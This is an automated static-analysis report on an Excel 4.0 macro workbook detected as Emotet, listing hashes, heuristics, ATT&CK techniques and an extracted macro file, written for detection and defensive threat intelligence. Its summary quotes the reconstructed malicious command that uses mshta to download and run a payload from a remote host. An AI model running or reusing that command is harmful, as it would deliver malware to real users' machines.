Emotet — Office (OLE) / .XLSX malware analysis

Static analysis result for SHA-256 e6a55d3065b29b26…

MALICIOUS

Office (OLE) / .XLSX

128.3 KB Created: 2022-01-17 21:27:03 Authoring application: Microsoft Excel
MD5: 22024c28d98a0aa62558650d4be96202 SHA-1: 2b145417423113d71bf9c988de67ebc2ded75471 SHA-256: e6a55d3065b29b2634244c18d442d767860dde8b31b384e78ffa5a532f690a08
140 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Service Execution: Visual Basic T1204.002 Malicious File: User Execution: Malicious File

The file contains critical Excel 4.0 macro heuristics, including an Auto_Open defined name, and is detected by ClamAV as Emotet. The extracted macro script reconstructs the command 'cmd /c mshta http://0xc12a24f5/cc.html', indicating it attempts to download and execute a payload from the specified URL. This functionality is consistent with Emotet's typical delivery mechanism.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • ClamAV: Doc.Downloader.EmotetExcel01220-9936774-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.EmotetExcel01220-9936774-0
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt
a0fd1b709c0182b7bfad87bd5382ad41592e9af0d0093f5e68d1ff145f18d235		 xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 653 bytes

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